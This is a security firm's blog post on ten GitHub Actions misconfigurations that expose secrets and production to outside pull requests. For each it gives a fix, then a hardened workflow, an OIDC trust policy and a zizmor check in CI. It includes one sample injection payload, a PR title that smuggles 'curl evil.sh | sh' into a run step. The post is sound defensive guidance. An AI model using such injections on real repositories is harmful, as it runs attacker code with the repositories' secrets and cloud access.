Distribuée
Cloud & AI Security
← All insights

Supply chain

GitHub Actions: the 10 misconfigurations that give an external contributor production access

pull_request_target, ${{ }} injection, write-all, unpinned actions: the 10 workflow mistakes that open production to an outside PR, with a fixed workflow and zizmor in CI.

· 7 min · #github-actions#pull-request-target#supply-chain#oidc#zizmor#hardening

In a CI/CD pipeline audit, the entry point is almost never a sophisticated exploit. It is a .github/workflows/*.yml file that trusts content it does not control: a PR title, a fork branch, an action referenced by a mutable tag. Behind the workflow sit a GITHUB_TOKEN, secrets, and very often an AWS role assumable through OIDC.

This article lists the 10 misconfigurations I find most often in SMBs, in the order I look for them, each with the threat, the control, and the evidence to show an auditor. The fixed workflow and the CI guardrail are at the end.

One external PR, three boundaries to lock: workflow, token, production

The threat: a workflow is code running with your privileges

A workflow runs with three valuable things: the GITHUB_TOKEN (repository rights), repository or organisation secrets, and, if id-token: write is granted, the ability to obtain cloud credentials through OIDC. The attacker does not need to compromise GitHub: they only need to get their content executed in your trusted context.

This is not theoretical. In March 2025 the tj-actions/changed-files action (very widely used) was compromised: version tags were rewritten to point to a malicious commit that dumped runner secrets into build logs (CISA alert, CVE-2025-30066, added to the KEV catalog on 26 March 2025). Repositories referencing a version tag pulled the malicious code; those pinned to the SHA of a commit predating the compromise were not exposed.

The 10 misconfigurations

1. pull_request_target + checkout of the PR code

pull_request_target runs in the context of the base repository: secrets available, write-scoped GITHUB_TOKEN. If the workflow then runs actions/checkout with ref: ${{ github.event.pull_request.head.sha }} and then npm install or make, the fork’s code runs with those rights. GitHub’s documentation calls this the “pwn request” pattern (Security hardening for GitHub Actions).

Control: use pull_request (no secrets for forks) for anything that builds or tests. Keep pull_request_target for tasks that execute no PR code (labeler, comments). Since 8 December 2025, GitHub also always runs these events from the default branch (changelog, 7 Nov 2025), which limits exploitation through stale branches but does not fix a head checkout.

2. Script injection through ${{ }} in a run:

run: echo "${{ github.event.pull_request.title }}": the expression is substituted before the shell runs. A PR titled "; curl evil.sh | sh # becomes a command. Titles, bodies, branch names, commit messages and head_ref are all concerned.

Control: pass the value through an environment variable and reference it as a shell variable.

- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "$PR_TITLE"

3. Overly broad GITHUB_TOKEN permissions

The default depends on the repository or organisation setting: on older repositories it is write-all. A write token can push code, create releases and, depending on context, modify workflows.

Control: permissions: {} at workflow level, then minimal rights per job. At organisation level: Settings → Actions → Workflow permissions → Read repository contents.

4. Third-party actions referenced by tag or branch

uses: org/action@v4 is a mutable pointer: the maintainer (or their compromised account) can move it. This is exactly the tj-actions mechanism.

Control: pin to a 40-character SHA with the tag in a comment (pinact, Dependabot or Renovate for updates). Since August 2025 GitHub lets you enforce SHA pinning and block specific actions through the organisation’s allowed-actions policy (changelog). A workflow referencing an unpinned action then fails at run time.

5. secrets: inherit and over-scoped secrets

A reusable workflow called with secrets: inherit receives all the caller’s secrets. The same goes for organisation secrets shared “with all repositories”.

Control: pass secrets by name, move deployment secrets into environments with required reviewers, restrict organisation secrets to a list of repositories.

6. workflow_run consuming untrusted artifacts

The “build on pull_request, publish on workflow_run” pattern is legitimate, but the second workflow has secrets. If it reads an artifact produced by the PR (a JSON file, a script) without treating it as hostile input, you are back to point 1 through the back door.

Control: validate the content (types, lengths, allow-list), never execute it or interpolate it into a run:.

7. Static AWS keys in secrets, or OIDC with a permissive sub

AWS_ACCESS_KEY_ID stored as a GitHub secret can be exfiltrated by any compromised workflow, with no expiry. Moving to OIDC is the right answer, but a trust policy with "token.actions.githubusercontent.com:sub": "repo:org/*" lets any repository in the organisation, test repos included, assume the role.

Control: exact sub condition, per repository and per environment or branch, and aud set to sts.amazonaws.com. See the artifact below.

8. Unprotected environments

A production environment without required reviewers or branch restriction is just a label. Any branch can deploy to it.

Control: required reviewers, Deployment branches limited to main, and an OIDC sub claim that includes environment:production.

9. Persistent self-hosted runners on public repositories

A non-ephemeral self-hosted runner keeps the workspace, caches and credentials between jobs. On a public repository, a fork PR can plant an implant that outlives the job. GitHub’s documentation explicitly advises against self-hosted runners on public repositories.

Control: ephemeral runners (one job, then destroyed), runner groups per repository, no runner shared between public and private repos.

10. No protection on .github/workflows/ itself

If any contributor with write access can edit a workflow and run it on their own branch, code review protects nothing: the modified workflow executes before it is reviewed.

Control: CODEOWNERS on /.github/ with the security/platform team, branch protection with mandatory review, and persist-credentials: false on checkouts that do not need to push.

The artifact: a fixed workflow and its trust policy

This deployment workflow applies controls 2, 3, 4, 7, 8 and 10. Resolve the SHAs with pinact run (or copy them from the official releases); I deliberately do not freeze them here to avoid publishing stale references.

name: deploy
on:
  push:
    branches: [main]

permissions: {}

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@<40-CHAR-SHA> # v5
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@<40-CHAR-SHA> # v5
        with:
          role-to-assume: arn:aws:iam::111122223333:role/app-deploy-prod
          aws-region: eu-west-3
      - env:
          GIT_REF: ${{ github.ref_name }}
        run: ./scripts/deploy.sh "$GIT_REF"

The role’s trust policy binds it to a repository and an environment:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:my-org/my-app:environment:production"
      }
    }
  }]
}

And the guardrail: zizmor is a static analyser for workflows that detects template injection, excessive permissions, unpinned actions, dangerous pull_request_target and secrets: inherit.

name: workflow-lint
on:
  pull_request:
    paths: [".github/**"]

permissions: {}

jobs:
  zizmor:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<40-CHAR-SHA> # v5
        with:
          persist-credentials: false
      - run: pipx run zizmor --persona regular --min-severity medium .github/workflows

For a first inventory with nothing to install, these two commands give the picture:

# actions not pinned to a SHA
grep -rEn 'uses: [^./][^@]+@' .github/workflows | grep -vE '@[0-9a-f]{40}'
# workflows exposed to fork PRs with secrets access
grep -rln 'pull_request_target' .github/workflows

Evidence for the auditor

A control you cannot demonstrate does not exist for a SOC 2 auditor or an NIS2 prime contractor. What to keep:

  • Organisation policy: screenshot or export of the Actions settings (read-only default permissions, SHA pinning enforced, allowed-actions list).
  • zizmor report in CI with run history: proof the control runs on every workflow change.
  • CODEOWNERS and branch protection on .github/, readable via gh api repos/{owner}/{repo}/branches/main/protection.
  • IAM trust policies versioned (Terraform) and a negative test result: sts:AssumeRoleWithWebIdentity from another repository must fail. CloudTrail keeps the trace of denied attempts.
  • Secrets inventory per repository and environment, with last rotation date; zero static AWS keys is an easy metric to track.

Where to start

Order of payoff, from what I see in engagements: (1) permissions: {} everywhere, (2) replace static AWS keys with OIDC and a strict sub, (3) review every pull_request_target, (4) pin by SHA and enforce the policy, (5) wire in zizmor. About a week of work for an SMB with a few dozen repositories, without touching build logic.

This is the scope of our Supply Chain & CI/CD Security offer: workflow audit, remediation, then CI guardrails so it holds over time.

Found this useful? Share it.

Go further

A topic, a project, a question?

Distribuée supports demanding SMBs on cloud security, CI/CD supply chain and AI security.

Book 15 min